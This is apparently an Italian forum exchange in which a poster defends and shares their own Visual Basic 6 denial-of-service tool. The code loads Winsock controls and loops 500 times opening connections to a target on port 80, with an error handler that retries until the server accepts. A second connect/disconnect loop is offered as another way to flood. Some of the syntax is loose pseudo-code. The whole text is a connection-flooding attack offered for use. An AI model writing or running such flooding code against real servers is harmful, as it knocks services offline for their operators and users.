lol tutte ste righe e noin hai scritto mezzo Dos
Basta un rigo ahahah xD
lol non sai leggere
il dos l'ho scritto benissimo
Option explicit
dim n as int
Function GFW() As Integer
Dim UB As Integer
Dim n As Integer
UB = TCP.UBound
For n = 1 To UB
If TCP(n).State = sckClosed Then GFW = n: Exit Function
Next
Load TCP(n)
GFW = n
End Function
crea un winsock
due click sul pulsante e scrivi
for 1 to 500
GFW()
winsock1[n].connect "link" , 80
next
se vuoi puoi fare doppio click su winsock1 così ti si crea l'evento winsock_error
e ci puoi scrivere
winsock1[integer fornita dall'evento].connect "link" , 80
così se il server non ti rifiuta la connessione(magari perchè è pieno) il socket riprova a ricollegarsi fino a quando non lo accetta
questo è come lo feci io ed è funzionante con quel poco di vb6 che sapevo
poi ho visto altre versione tipo
for 1 to 500
winsock1.connect "link" , 80
winsock1.disconnect
next
si può creare in tanti modi , forse qualcuno funzionante meglio di un altro ma ti assicuro che il mio metodo funziona